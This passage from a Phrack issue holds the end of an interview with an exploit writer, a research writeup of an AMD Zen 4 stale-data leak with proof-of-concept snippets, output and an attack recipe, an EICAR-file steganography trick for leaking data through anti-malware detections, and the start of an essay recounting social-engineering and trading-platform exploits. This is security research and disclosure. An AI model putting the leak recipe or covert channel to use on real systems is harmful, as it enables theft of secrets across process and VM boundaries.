It was also a great time, because one of my friends-idols Halvar was in town visiting, and sitting in a crappy chair at Core, working on his bindiff, showing me early versions, and introducing me to yED (thanks for that!). So, I had the problem of getting a reliably heap exploit, and I started logging all traces (long life dtrace & truss), but it was impossible to follow in text, so I hacked a GUI to show heap movements (eventually released as HeapDraw / HeapTracer just when Alex Sotirov released his Heap Feng Shui with an obviously much trend name). Also found how to turn the double-free in an information leak, that allowed me to get pointers (read-anything primitive), to finally get a very reliable exploit. I remember how I enjoyed writing the exploit and the power that a new tool gave me, we needed lots more tools! Oh, wow, writing this I found a screenshot of HeapTracer showing dtlogin’s heap, I can’t believe how I remember the shape and what each block is. Yeah, this one definitely deserves a mention. == CVE-2001-0550 - wu-ftpd gobbing heap overflow (arbitrary free) Oh my god, that was a good one, the advisory even names Phrack 57! This time is the exploit, not the vuln Not my own exploit though. I had a quite reliable exploit, if I’m not inventing my memories, but it was irc.segfault.net golden times, and I was there with amazing people. That’s when I met MaXX, one of my favorite Phrack authors, who wrote on Vudu malloc tricks, but who clearly understood free() tricks too. We then worked together and are good friends, those were some of the best times. He showed me his wu-ftpd exploit (or maybe he took my unfinished crappy code and turned it into art?). Anyway, for it to work, you had to craft a globbing pattern (*.*) so when expanded you got an arbitrary free, and you could write what you wanted where you wanted. You could be lazy, like me, and bruteforce the right count ~{,,,,,,,,,...}, or you could really think about it (like he did, and just remembered now), and figure out that if you could do more than a single write and if you expressed the count in prime factors, you could have a really compact globbing pattern that got expanded to overwrite really large area. So yeah, he taught me art is a way of living, among many other things. == CVE-1999-1085 - SSH CRC32 compensation attack The original vulnerability (yes, I’m old, what can I remember if not old things?). The vulnerability is that, without knowing the cryptographic material, it’s possible to craft an ssh packet that will pass CRC32 validation in such a way that it allows a MitM to insert “keystrokes” in the ssh stream. It’s a quite complex (at the time) cryptographic attack that, with exploit in hand to demonstrate its power, forced all ssh implementations, in every device and distro, to be updated with our code, as we were starting to be known as Core SDI. Great score! == CVE-2001-0114 - SSH CRC32 compensation attack integer overflow Yes, almost the same name as the previous... It turned out that the final patch for CVE-1999-1085 had an integer overflow vulnerability, which was exploitable to get root access to any ssh server using the code. The exploit was assigned to me (I was assigned at the time :-p ) and it turned out to be really challenging. At some point you had to exploit the original vulnerability, luckily I had the original exploit from 1998 by Futo and Ek, so I didn’t have to break my head doing it. I got it working, and some time later I found another exploit in the wild (I knew it as x1), that was very similar (but previous apparently), and had a different solution to the original bug. My total admiration to whoever solved the CRC32 compensation to implement this other exploit. I remember I was really afraid we had inserted this bug in every device, and at the same time, I wished we did it on purpose. So I went down fishing the original email exchange to find that it was the original ssh team, when converting from ANSI types to their type notation, that inserted the bug, but we didn’t notice they had changed it. Or maybe we did but didn’t say? I don’t think so, I should remember! == BUGWEEK Ah, what a great time of the year! We used to take a week at Core, every year, so everyone in the company (yes, EVERYONE), got in teams to find vulnerabilities. Many stupid and great advisories came out of it. I remember one in MySQL authentication that required solving some geometry problem for exploitation. == BUGDOOR A hide and seek contest. Another great time of the year, though we only did it a couple times. It was a competition where everybody got a task (say, “write a software that does this and this”), and had to hide a bugdoor (AKA backdoor). You got points for finding out other people’s bugdoors, and got (negative) points for each one that found your bugdoor. Go play it! |=---=[ Will mitigations eventually make exploitation impossible? Hah! We asked ourselves the same question in 2001 with StackGuard and StackShield, but the answer was obviously “no” (see papers). Then again with ASLR, x^w, stack canaries, heap canaries, pointer canaries, guard pages, virtualization... I don’t think it’ll make it impossible, but it has, already, made it hard, and that means, more expensive, what means: only for a few that can pay for it. As a user, and friend of users, and worried about users, I’m all for protections. I think it does make a difference. It raises the bar, and makes attackers really think before attacking. There’s more chance of being detected and of getting your exploit or technique screwed. This all is “good”. Bad is that it’s harder and harder to get started in exploit writing, and less and less satisfactory as you learn. When I wrote the ABOs back in a forked past, there were just no protections. It was easy, the challenge was in figuring out how to use the hidden menu option (AKA exploit the bug). But then, as we used ABOs to warm up new exploit writers at Core, it got harder and harder. I loved seeing the solutions running on newer and protected operating systems. Many times, completely different from what I originally intended. I can’t think what somebody starting today could do with the ABOs running on a current OS. So, bad: it makes it harder for the general public to learn exploitation, it raises the bar, it makes it more expensive (needs more time to dedicate, and a serious interest). It may require dedicated training camps, and paid students. Bad is also that once you know the techniques, writing a particular exploit is increasingly hard (the 9 chained bugs to get root), which makes them more expensive, i.e. only for a few. So, I love protections, all my serious admiration to pipacs, the pax team, and all his other handles (see Phrack 62), for pushing everybody else to think on OS protections, including Theo and Microsoft. But protections leave space for power inequalities, as the fewer who can bypass them, have more power than before... no, I don’t see any solution, sorry. Will they make exploitation impossible? Yes, for many they will, for others, never. |=---=[ Would you recommend newcomers to contribute to open source projects? Totally! Why not? I wish I had time and energy to do more of that. I’m all for full disclosure, even of exploits. And all for contributing. Contributing back to OS is sort of the easiest way to get your code maintained :-p (not quite). Commercially you may think that “giving up” your code for free is not a good idea, but it comes back, and sometimes surprisingly soon. It’ll get you a job, that’s for sure, but it could also become an income by itself. But then, also, and more seriously (if anybody needed to get serious), it’s fine to do things just because you can. We used to answer exactly that Why do you do that?! >>> Because I can <<< Technology has a significant impact. At some point, I began thinking about how my work could help people and make their lives better, even just a little bit. You never know what people will find useful, and the feedback you receive when you release something is a great feeling: the realization that someone is actually using what you created. |=---=[ Your opinion in the infosec scene now vs then All mercenaries. Don’t get me started. Not really, not everybody. But that catches my feelings. When the big money entered the scene, we all lost friends and stopped sharing as much as before. The flow of information slowed down, though we still have Phrack, Ekoparty, H2HC, Defcon and the others, it doesn’t feel the same. Maybe the great techniques were always kept secret and surfaced only 20 years later, but it seems worse than before. Science and technology can have real-world impact. If you saw the movie, you believe scientists were aware of the impact of their research, some rebelled against it, some understood the consequences but decided to do it anyway (for their reasons). But it seems they stopped to think. Are we thinking and discussing it at least? It’s only mutually assured destruction that still today keeps us safe, so maybe that’s what we should aim for: democratization of hacking and espionage tools, to keep the balance. It’s not fair, there’s still a lot of people believing in full disclosure for a better World, and they do a great job at it. My special admiration and respect to “The Qualys Security Team”, who keeps showing art and dedication in every single advisory. My respect too to Google’s Project Zero. There should be an invite only conference on 0-day hunting, where these heroes share their experience and fishing techniques. Kill the class, not the single bug, or better fix both. And Kill the 0-day! |=---=[ Your opinion on conferences? My last one was H2HC/24, and yes, it was big, with lots of people, and I loved it. Defcon has gone huge a long time ago, and it has always been a matter of luck to catch a good talk without missing another, but it’s usually easy to find somebody interesting to talk to, if you are willing to let it happen. Though maybe too many things happen around and outside the conferences, and that’s completely out of reach for most of the mortals. So, maybe, short version: Abolish all “product sales” talks, get demanding on technical content, and squeeze in a few talks that make the audience step back and think at a higher level. Then turn on the music and throw a party. Oh, and more hardware, we need more hardware and to simplify access to hardware hacking! |=---=[ Recommendations Technical Books: * Phrack. 40 years of fun and profit. Hard cover. * Computational Geometry - Algos and Apps ( <3 sweeping line <3 ) * Thirty Years Later: Lessons from the Multics Security Evaluation Non-Technical Books: -------------------- I have a serious problem and I can rarely go past the first couple chapters of non sci-fi non technical books, though I keep trying. So, my short and totally unfair list (of not so known books): Babel-17, ME (by Thomas T. Thomas), maybe Rainbows End and Makers more mainstream and “Tlön, Uqbar, Orbis Tertius” (my favourite from “Ficciones”). |=---=[ Reflections Hacker Spirit: -------------- Understanding how things work, finding a way around limits, and sharing it with others, to make understanding easier, Loop. The three things together. On the attackers side, there’s too much money for a healthy competition and open sharing, MAYBE it’s easier on the defender's side. Kill the 0-day! Exploit Industry: ----------------- The monetization of the vulns and exploit has clearly made the power imbalance even worse and broke the flow of information. The way out IMHO, is to double up and openly share even more. It may get worse at first, but it’ll be positive at the end. Career Burnout: --------------- I left security to go do satellites, to then come back. It was also great to move to the defenders side, and see things from a different PoV. Don’t be afraid of going out of your comfort zone. If you love learning and doing new stuff, then, do new stuff and learn. ¯\_(ツ)_/¯ |=---=[ Insights Hacking Milestones: ------------------- Learn assembly and solve all CTFs you find online, before 20. Write ASCII self decoding shellcode, extract data from a blind SQL injection, write a remote shell client-server over a non-standard protocol (icmp, dns, etc), use gdb to install a backdoor in a running nginx and OllyDbg to do the same in Windows, without touching the filesystem, implement a known Cryptographic primitive, understand rainbow tables, implement a TCP/IP stack, solve some of the advanced cracking challenges by ricnar and most ABOs, write a remote heap overflow that always works, reverse engineer an unknown server with crypto back to C, implement its client in python... all before you are 25. IT’s not my story, but a HACKER needs to be the best in every discipline, or keep trying. And remember, with great power comes great fun, and also some responsibility. Nontraditional Hacking: ----------------------- Lying when they ask me for personal information they don’t really need. It’s stupid, but it takes practice to lie when they ask your name or your birth date, and you may need to remember what you said: practice it, pollute DBs. I also love hacking toys for my kids (adding a RC, etc) and fixing things that broke. The "Art" of Hacking: --------------------- Understanding things better than their creators to find the hidden menu options they didn’t know they put there. |=---=[ Personal Other Interests: Electronics! Woodworking. Making things. Creating Tech. Philosophy: If it has a solution, it’s not a problem. And if it doesn’t, why worry at all? Carpe Diem, totally, during the night when I’m statistically more productive. Zines: Conferences are ephemeral. Zines are forever, and the articles are usually well thought. A blog is fine, but without an editor pushing you to get it done, the quality degrades over time. |=---=[ Quotes Yes: Backticks, please, best quotes ever. And maybe: “I want room service!” - standing on a pile of trash. Though the written story is better than the movie. |=---=[ Closing Thoughts CALL $+4 RET POP EBX ]]> https://phrack.org/issues/72/linenoise.html Tue, 19 Aug 2025 00:00:00 +0000 Phrack Staff Phrack #72 phrack-72-3 ==Phrack Inc.== Volume 0x10, Issue 0x48, Phile #0x03 of 0x12 |=-----------------------------------------------------------------------=| |=---------------------=[ L I N E N O I S E ]=---------------------------=| |=-----------------------------------------------------------------------=| |=------------------------=[ Phrack Staff ]=-----------------------------=| |=-----------------------------------------------------------------------=| Linenoise is a collection of artifacts that do not fit elsewhere. Short papers, corrections, brain dumps, late papers, etc..... :)) Contents 1 - Barbie Sparkles -- Barbie 2 - Another use for the EICAR test file -- Peter Ferrie 3 - Hacker: Apotheosis of the Marginalized -- Kolloid 4 - A Hacker's Introduction To CHERI -- xcellerator 5 - High-Performance Network Scanning With AF_XDP -- c3l3si4n 6 - MMIO in the Middle -- b1ack0wl 7 - Shell Your Way to Network Mastery -- Gabriel & Thomas 8 - Breaking ToaruOS -- NOT / Firzen, Binary Gecko |=-----------------------------------------------------------------------=| |=-------------------=[ 1 - Barbie Sparkles ]=-------------------=| |=-----------------------------------------------------------------------=| |=----------------------------=[ barbie ]=-------------------------------=| |=--------------------=[ phrack@barbieauglend.re ]=----------------------=| |=-----------------------------------------------------------------------=| --[ 0 - Introduction For a long time, data stored in microarchitectural buffer-like structures' behaviors were believed to be strictly internal to the CPU and protected by architectural mechanisms built into modern CPUs, many of them lacking detailed public documentation. Since 2018 following Microarchitectural Data Sampling (MDS) attacks [1] the security community discovered that the contents of such buffers might be inferred or even, under the right circumstances, directly leaked using e.g., faulting load instruction or in the shadow of transiently executed flows. These techniques might allow attackers to bypass such architectural mechanisms and other hardware mitigations, e.g. buffer clearing or overwriting. Lots of such microarchitectural buffers have been documented publicly by now, as well as mitigations have been deployed on newer hardware with this new threat model in place by most CPU vendors. Unfortunately, we show that not all CPU vendors have adopted this new threat vector into their threat model, and some newer architectures are being released having such dangerous behaviors documented. In this article, we show that it is possible to observe stale data from previously evicted cache entries from an undocumented microarchitectural buffer, which we are calling eviction buffer. More specifically, AMD Zen 4 platforms might enable a malicious process to observe data that is previously evicted from a victim process, even if the same victim process has been previously terminated. Moreover, unlike most of prior data inference attacks from microarchitectural buffers, this behavior has been documented in the official “AMD Zen4 Microarchitecture Documentation” and AMD does not consider a security concern. --[ 1 - Background --[ 1.1 - Memory Types and Performance Optimizations Modern CPUs support multiple memory types that are configurable by the OS and might be configurable by the VMM. These types enforce the cache policy used. There are cacheable memory types like write-back (WB), write-through (WT), and write-protect (WP), and uncacheable memory types like uncacheable (UC) and write-combining (WC). The standard page created by the OS for userland applications are WB, which allow values to be cached and are written back to the memory when there is bandwidth for it and the memory in case is not being actively used and updated. --[ 1.2 - Write-Combining Write-Combining (WC) is a memory performance optimization technique, which allows for the combination of multiple write operations into a single transaction, which can then be written to memory in a more efficient manner, reducing the number of bus requests required for the write operations. For this, the CPU keeps the modified data of all store operations to a specific cache line in an internal buffer, until the data can be committed to the memory. Then, the data is flushed from the buffer and committed to external memory. We also note, the __Software Optimization Guide for the AMD Zen4 Microarchitecture (ver. 57647, from January 2023)__ describes in 2.13.3 Write Combine Buffers the improvements to performance made using their aggressively combined write buffers. --[ 1.3 - Microarchitectural Buffers Lots of different microarchitectural structures are used in modern CPUs to store data in-transit. Many of such structures have been publicly documented and some of them have been even reverse engineered. At the same time, there are several prior research exploring the leakage or inference of data from internal CPU buffers, include Fallout [2], Zombieload [3], and RIDL [4]. Each of such attacks target a different buffer, e.g. store buffers, load buffers, and fill buffers. Since the security community identified such behaviors, mitigations have been deployed on newer hardware having in mind that such buffers should also be treated as containing assets in their threat model. In this work, we have identified an undocumented microarchitectural buffer, which seems to be handling previously evicted cache entries, when such entries have been tagged as belonging to uncacheable memory. We are calling this undocumented microarchitectural structure the _eviction buffer_. --[ 2 - barbieSparkles At the high-level, barbieSparkles may load data from unintended evicted cache entries from the eviction buffer after we change the memory type to WC. We were able to see this behavior bypassing context boundaries such as cross threads, cross cores, and even VM host to guest. --[ 2.1 - Eviction Sets A precondition for barbieSparkles is that the attacker is able to evict cache entries from the victim process. There is numerous research in this area, ranging from reverse engineering cache sets to a more brute-force style. --[ 2.2 - Memory Type Change Normally, only OS and VMM software have permissions to change the memory type of a specific page. For our proof-of-concept, we use the PTEditor library [5]. PTEditor is a library that enables modification of page-table levels, change memory types, and other memory manipulation actions through user level APIs provided by a Linux Kernel Module. --[ 2.3 - First Sparkle Our first sighting of a sparkle occurred by chance, and it was unexpected. We wanted to check if we can modify the memory type from cacheable memory and validate a cache poisoning behavior. There are many reasons why a modern CPU invalidates and poisons cache lines. And if one is playing with memory types, why not just check also uncacheables one? And there it was, when changing the memory type of a process from a cacheable one to WC. Following the first time spotting it, we began our research by implementing various tests which could give us one or more insights on what and why it was happening. The first test was not perfect: --------------------------------------------------------------------------- // Populate the cache with cache lines from a WB page by performing normal loads memset(buf_targetsrc, 0x33); // Load a secret in a buffer by performing normal loads memset(buf_secret, secret_val); // Change the memory type of the page to WC entry.pte = ptedit_apply_mt(entry.pte, wc_mt); // Read from memory corresponding to an entry in the cache. targetsrc_val = *(volatile uint32_t*) buf_targetsrc; --------------------------------------------------------------------------- We could see some sparkle, but it wasn't clear where and why: --------------------------------------------------------------------------- (...) result targetsrc val: 0x0, access time: 1440 result targetsrc val: 0x0, access time: 495 result targetsrc val: 0x0, access time: 540 result targetsrc val: 0x33333333, access time: 675 // the stale value result targetsrc val: 0x0, access time: 540 result targetsrc val: 0x42, access time: 495 // the secret value result targetsrc val: 0x0, access time: 495 result targetsrc val: 0x0, access time: 1485 result targetsrc val: 0x0, access time: 540 (...) --------------------------------------------------------------------------- So, we went for more statistical testing. Running the code 100 times in a loop of 512 iterations, we would get from 1 to 2 digits hits on the secret. This isn't enough though. If we can see data that isn't supposed to be there, then we want to see it all the time, right? --[ 2.4 - I See Sparkles EVERYWHERE From there, we started to check different contexts, trying to figure out from where the leakage was coming from. We decided to test if we could leak cross threads in hyperthreading system. Check the pairs: --------------------------------------------------------------------------- $ cat /sys/devices/system/cpu/cpu*/topology/thread_siblings_list 0,8 2,10 3,11 4,12 5,13 6,14 7,15 1,9 --------------------------------------------------------------------------- And we test two siblings: --------------------------------------------------------------------------- $ ./barbiesparkles -c 2 -s 42424242 -n 512 -I 100 | grep result (...) result targetsrc val: 0x42424242, access time: 495 result targetsrc val: 0x42424242, access time: 1440 result targetsrc val: 0x42424242, access time: 540 result targetsrc val: 0x0, access time: 495 result targetsrc val: 0x0, access time: 540 result targetsrc val: 0x42424242, access time: 495 result targetsrc val: 0x33333333, access time: 495 result targetsrc val: 0x42424242, access time: 540 result targetsrc val: 0x42424242, access time: 495 (...) $ ./barbiesparkles -c 10 -s 41414141 -n 512 -I 100 | grep result (...) result targetsrc val: 0x42424242, access time: 540 result targetsrc val: 0x42424242, access time: 540 result targetsrc val: 0x42424242, access time: 540 result targetsrc val: 0x0, access time: 540 result targetsrc val: 0x42424242, access time: 540 result targetsrc val: 0x42424242, access time: 495 result targetsrc val: 0x42424242, access time: 540 result targetsrc val: 0x0, access time: 540 result targetsrc val: 0x42424242, access time: 630 result targetsrc val: 0x0, access time: 540 result targetsrc val: 0x0, access time: 540 result targetsrc val: 0x41414141, access time: 495 result targetsrc val: 0x41414141, access time: 495 result targetsrc val: 0x42424242, access time: 540 result targetsrc val: 0x42424242, access time: 495 result targetsrc val: 0x42424242, access time: 495 result targetsrc val: 0x41414141, access time: 540 result targetsrc val: 0x0, access time: 495 result targetsrc val: 0x41414141, access time: 540 result targetsrc val: 0x8, access time: 495 result targetsrc val: 0x42424242, access time: 540 result targetsrc val: 0x42424242, access time: 540 (...) --------------------------------------------------------------------------- This shows that whatever buffer we are leaking from, it is shared within the core at least. Next step, can we leak cross-core? --------------------------------------------------------------------------- $ ./barbiesparkles -c 2 -s 43434343 -n 512 -I 100 &>/dev/null $ ./barbiesparkles -c 3 -s 44444444 -n 512 -I 100 | grep result result targetsrc val: 0x43434343, access time: 540 result targetsrc val: 0x0, access time: 540 result targetsrc val: 0x43434343, access time: 540 result targetsrc val: 0x0, access time: 540 result targetsrc val: 0x43434343, access time: 495 result targetsrc val: 0x44444444, access time: 495 result targetsrc val: 0x43434343, access time: 585 result targetsrc val: 0x0, access time: 585 result targetsrc val: 0x43434343, access time: 540 result targetsrc val: 0x43434343, access time: 540 result targetsrc val: 0x43434343, access time: 540 result targetsrc val: 0x44444444, access time: 495 result targetsrc val: 0x44444444, access time: 495 result targetsrc val: 0x0, access time: 495 result targetsrc val: 0x43434343, access time: 585 result targetsrc val: 0x0, access time: 540 result targetsrc val: 0x33333333, access time: 495 result targetsrc val: 0x43434343, access time: 495 result targetsrc val: 0x43434343, access time: 540 result targetsrc val: 0x0, access time: 495 (...) --------------------------------------------------------------------------- Huh, so our buffer is shared across all cores? Nice! We also observe that we still have some hits for the value we store in the targetsrc (0x33333333), even if it is a lower hit rate than the secret value. To force the architectural value to be committed, we flush the cache before we change the memory type: --------------------------------------------------------------------------- // Populate the cache with cache lines from a WB page by performing normal loads memset(buf_targetsrc, 0x33); // Load a secret in a buffer by performing normal loads memset(buf_secret, secret_val); // Evict the cache flush(buf_targetsrc); // Change the memory type of the page to WC entry.pte = ptedit_apply_mt(entry.pte, wc_mt); // Read from memory corresponding to an entry in the cache. targetsrc_val = *(volatile uint32_t*) buf_targetsrc; --------------------------------------------------------------------------- With that, we now have actual 100% hits on the architectural (0x33) value. This seems deterministic enough to me. --------------------------------------------------------------------------- $ ./barbiesparkles -c 2 -s 42424242 -n 512 -I 100 | grep result (...) result targetsrc val: 0x33333333, access time: 540 result targetsrc val: 0x33333333, access time: 495 result targetsrc val: 0x33333333, access time: 540 result targetsrc val: 0x33333333, access time: 495 result targetsrc val: 0x33333333, access time: 540 result targetsrc val: 0x33333333, access time: 540 result targetsrc val: 0x33333333, access time: 585 result targetsrc val: 0x33333333, access time: 585 result targetsrc val: 0x33333333, access time: 540 (...) --------------------------------------------------------------------------- But remember that we were reading the data AFTER changing the memory type to WC, which assumes that the data shouldn't be present in the cache anymore. Just to be sure that we are seeing the current architectural value of targetsrc, we overwrite it with 0x11 and re-run the tests: --------------------------------------------------------------------------- // Populate the cache with cache lines from a WB page by performing normal loads memset(buf_targetsrc, 0x33); // Load a secret in a buffer by performing normal loads memset(buf_secret, secret_val); // Evict the cache flush(buf_targetsrc); // Overwrite buffer with a dummy value memset(buf_targetsrc, 0x11); // Change the memory type of the page to WC entry.pte = ptedit_apply_mt(entry.pte, wc_mt); // Read from memory corresponding to an entry in the cache. targetsrc_val = *(volatile uint32_t*) buf_targetsrc; --------------------------------------------------------------------------- ... and nope. What we are seeing isn't the architectural value - it is the evicted stale value: --------------------------------------------------------------------------- $ ./barbiesparkles -c 10 -s 42424242 -n 512 -I 100 | grep 0x33333333 | wc -l 100 --------------------------------------------------------------------------- And again, 100% of the hits. Even if we flush the targetsrc buffer (with value 0x33) and overwrite it with the new value (0x11) we still get 100% hits on the value 0x33. We have in place stale data! To confirm that we are seeing only evicted data, we flush it right after overwriting it with 0x11 or after changing the memory type (it doesn't seem to matter at all) and re-run the test: --------------------------------------------------------------------------- $ ./barbiesparkles -c 10 -s 42424242 -n 512 -I 100 | grep 0x11111111 | wc -l 100 --------------------------------------------------------------------------- --[ 2.5 - Finding The Sparkles Source We started the obvious tests, for example, we mapped the secret buffer pages to the same physical page and that gave us, zero, nada hits, confirming that this wasn’t leaking due to a stale TLB entry. After tons of such tests, we realized we don’t actually know the microarchitectural structure where the is leak coming from, so we are started calling it the “eviction buffer”. To leak the stale data, there must be a full physical address tag hit on the eviction buffer. We wrote a PoC for this behavior by tracking the physical memory address throughout the tests and then matching the secret addresses with their respective tags. To get the physical address, we used PTEditor built-in function ptedit_pte_get_pfn, which returns the – as you might expect – the page-frame number. --[ 3 - Sparkle PoC Recipe If you want to see your Zen4 platform sparkling for yourself: 1. Create two processes – one is the victim, one is the attacker. a. The victim allocates a memory buffer and writes a secret value to it. Then, the victim overwrites the secret in memory, frees the allocated buffer, and exits (yeap, the process doesn’t need to be running)! b. The attacker allocates memory in order to reclaim the same physical pages previously used by the victim to write the secret. You can choose your own version for this – allocating tons of memory is legit :) 2. The attacker marks the reclaimed memory as WC and flushes the TLB (making sure that the TLB entry is up-to-date). 3. The attacker reads the memory and gets the secret – all sparkling! Serving options: - Overwrite the secret in the victim and terminate the victim process: The attacker is able to leak the secret even if the secret value was previously overwritten architecturally. - Run the victim and the attacker processes in the same core (sibling threads), in any neighboring core (in the same CPU), or leak between host and guest virtual machine. - Try it out mixing and matching domains, e.g., VM host and guest --[ 4 - Reading the Funny Manual It is important to note before we let you go that the __AMD64 Architecture Programmer's Manual Volume 2: System Programming__ (https://www.amd.com/ system/files/TechDocs/24593.pdf) actually documents that we should not play and switch between cache policies of a specific physical page, quoting: --------------------------------------------------------------------------- 7.8.7 Changing Memory Type A physical page should not have differing cacheability types assigned to it through different virtual mappings; they should be either all of a cacheable type (WB, WT, WP) or all of a non-cacheable type (UC, WC). Otherwise, this may result in a loss of cache coherency, leading to stale data and unpredictable behavior. --------------------------------------------------------------------------- So, please you all behave, and follow the manual – otherwise, there will be sparkles. --[ 6 - References [1] Intel Corp. (2021-03-11). "Microarchitectural Data Sampling." [2] Minkin, Marina; Moghimi, Daniel; Lipp, Moritz; Schwarz, Michael; Van Bulck, Jo; Genkin, Daniel; Gruss, Daniel; Piessens, Frank; Sunar, Berk; Yarom, Yuval (2019-05-14). "Fallout: Reading Kernel Writes From User Space" [3] Schwarz, Michael; Lipp, Moritz; Moghimi, Daniel; Van Bulck, Jo; Stecklina, Julian; Prescher, Thomas; Gruss, Daniel (2019-05-14). "ZombieLoad: Cross-Privilege-Boundary Data Sampling" [4] van Schaik, Stephan; Milburn, Alyssa; Österlund, Sebastian; Frigo, Pietro; Maisuradze, Giorgi; Razavi, Kaveh; Bos, Herbert; Giuffrida, Cristiano (2019-05-14). "RIDL: Rogue In-Flight Data Load" [5] Michael Schwarz. PTEditor. https://github.com/misc0110/PTEditor |=-----------------------------------------------------------------------=| |=------------=[ 2 - Another use for the EICAR test file ]=--------------=| |=-----------------------------------------------------------------------=| |=---------------------=[ Peter Ferrie (qkumba) ]=-----------------------=| |=-----------------------------------------------------------------------=| X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* The EICAR test string, right? 68 bytes CRC32 6851cf3c MD5 44d88612fea8a8f36de82e1278abb02f SHA256 275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f Right? Right?? No. It's actually X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* followed by up to 60 bytes of restricted white-space characters. The allowed white-space characters are Space Ctrl-Z Tab CR LF So? What if... Space = 0b, Ctrl-Z = 1b, 60 bits per file, 7.5 bytes EICAR is now a steganography vehicle Maybe a bit fancier Space %*1*00000 Ctrl-Z %0*1*1010 Tab %00*1*000 CR %001*1*01 LF %0010*1*0 All five characters have one bit in a unique position Four bits in a nibble, decoder becomes simpler 60 bits is not enough? Space = 0b Ctrl-Z = 1b Tab = 10b CR = 11b 120 bits per file, 15 bytes But wait! There's more! Any subset of the five characters can represent the zero bit The rest can represent the one bit EICAR as *OLIGOMORPHIC* steganography vehicle! "hello world" (*) 0D200A080D080A1A081A0A1A1A0A080D201A0D0808201A1A201A1A202020200A 1A20200D201A1A2020080D1A08081A200A0A080D1A0A0D SHA256 6a154634b1be7df212863e486b2b1d0cb842e72c3baef941b1054e50fc08b993 (*) 5-bit text-encoding, one special character; tab/cr/lf=0, space/ctrl-z=1 Or "hello world" 08200A0D0A0D081A08200A1A1A0A0A0A20200D0D08201A1A201A201A201A2008 1A1A1A0D2020201A20080820080A1A20080A0A0D20080D SHA256 f982fa69f04053060d82aece78df2dbf10b2fcf86e842ffe44fbc287f4f4b92c Or "hello world" 0A200D0A0A0D0D1A0A1A0A1A1A080D0D20200A0D0D1A201A1A1A1A20201A1A0D 202020081A1A201A1A0D08200D0D1A1A0D080A081A0D08 SHA256 09258537fe9ea0105831873c4fbe8d000e54491fdfe446d7d353544c7b4cf334 The encoder s=[" ","\x1a"," "] c=["\t","\r","\n"] t="" for(x=0;x<text.length;x++) { q=text.charCodeAt(x,1)&31 if(!q)q=31 for(b=32;b>>=1;) t+=((q&b)?s:c)[Math.floor(Math.random()*3)] } return t Multiple EICAR files mean more data File naming can define data ordering 1) Create the files on disk 2) Trigger a scan 3) Detections will include the unique file hash The *anti-malware engine* will leak the data The files never have to leave the disk Noisy? Yes But it only has to work once |=-----------------------------------------------------------------------=| |=-----------=[ 3 - Hacker: Apotheosis of the Marginalized ]=------------=| |=-----------------------------------------------------------------------=| |=----------------------------=[ Kolloid ]=------------------------------=| |=-----------------------------------------------------------------------=| --> 01: Introduction Much like Phrack, I will soon be entering into my 40s. I'm at that stage where I'm reflecting on the rebelliousness of my youth, wondering what it all meant. Some of it brought financial gain, such as the time I found a legitimate exploit that allowed me to win a Mercedes-Benz C-Class. Some of it helped me along my career path, like when I used various social engineering techniques to gain escalated privileges within a Fortune 500 company, enabling me to become a data scientist and submit a patent in applied machine learning despite having no prior experience in the field. Some of it led nowhere at all, like when I discovered a glitch in my stock broker's trading platform that allowed me to borrow over $200K at a negative interest rate until my account was promptly disabled when the risk management team realized what I had done. Although I fondly reminisce on these events, it's not the outcomes that I find particularly meaningful. Instead, it's what those acts reveal about myself that gives me the greatest meaning: they show that I'm a hacker. For the longest time, I was hesitant to call myself a hacker. I felt insecure in that identity because I wasn't using rootkits to gain access into systems. I didn't use Linux. I didn't even have a compiler to make executables. Instead, I made simple tools from the resources available to me (i.e., the default programs installed on Windows XP). I mainly worked out of Notepad in my early years, using JavaScript as my language of choice. I would do things like paste the decoded Base64 binaries of cookies from two different accounts into two different instances of Notepad, flipping back and forth like an animator flipping between pages to identify bit changes. Or I would use frames to pass credentials through the URL, iterating with a script through an array on a timer to visually inspect five frames at a time if any combination in my list would grant me access. Since I wasn't using a "real" programming language, I felt lesser, even though my tools and techniques still enabled me to get what I was seeking and were things made for myself. Although I did not appreciate it at the time, my janky tools made in Notepad represented the very essence of what made me a hacker. In one form of the definition, a hack is something roughly and hastily done. It is the antithesis of something refined, so it is on the frontier, retaining some uncivilized wildness to it. On the frontier is where we find the hacker, moving the boundaries of society by pushing the system beyond its intended bounds, kicking and screaming all the way into new, unknown territory. In that sense, the hacker is the modern-day embodiment of the mythological trickster figure whose subversive acts keep society lively through the amusement and chaos he brings. I could not fully embrace my identity as a hacker until I first understood the archetypal role the hacker represented and the mythology I was living out. "The best way to describe trickster is to say simply that the boundary is where he will be found--sometimes drawing the line, sometimes crossing it, sometimes erasing or moving it, but always there, the god of the threshold in all its forms." - Lewis Hyde, Trickster Makes This World --> 02: The Myth of Hermes "If my father will not give me honors, then I will steal them." - Hermes In "Trickster Makes This World," Lewis Hyde retells the story of Hermes, who is the son of Zeus, king of the gods, and a cave nymph by means of an extra- marital affair. His questionable birth makes it uncertain if he will become recognized as a god as well. He was born with the stain of illegitimacy but born undeniably exceptional, pointing to his divine ancestry, even if it could not be explicitly stated aloud. He was also born with a certain impulsiveness, so he decides as a day-old baby to steal fifty head of cattle from his half-brother Apollo, claiming that he was hungry for something more substantial than the milk he was given. In doing so, Hermes displays his craftiness by walking the stolen cattle backward and by wearing special sandals he crafted himself to obscure his footprints. When he got back, he slaughtered and cooked two of the cattle but did not eat the meat. Instead, he hid it away and climbed back into his crib. When Hermes' mother, Maia, discovers what he has done, she questions him by asking how he could be so shameless to do such a thing. Hermes first denies the accusations by saying, "I am just a little baby. How could I possibly have stolen these cattle?" Maia, who sees through her child's attempt at deception, questions Hermes again, who laments in frustration, "Why must we live in this cave when the other gods live on Olympus enjoying the fruits of sacrifices? If my father will not give me honors, then I will steal them." Apollo eventually notices that some cattle from his herd are gone and also somehow already knows that it was the newly-born Hermes that took them. Apollo tracks down and questions Hermes, who once again responds with, "I am just a little baby. How could I possibly have stolen your cattle?" Apollo threatens to throw baby Hermes into the depths of Tartarus if he does not give him his cattle back, but Hermes does not relent to Apollo. Since neither would concede, Hermes declares that Zeus must judge who is right. So Apollo drags Hermes up to Olympus to plead his case before their father, telling Zeus of all the cunning details of Hermes' theft that he discovered. For a third time, Hermes proclaims, "I am just a baby. How could I possibly have stolen those cattle?" Zeus is amused at the audacity of the theft and the steadfastness of Hermes' denial, even when caught. So, Zeus begins to laugh. Surely, this is the son of 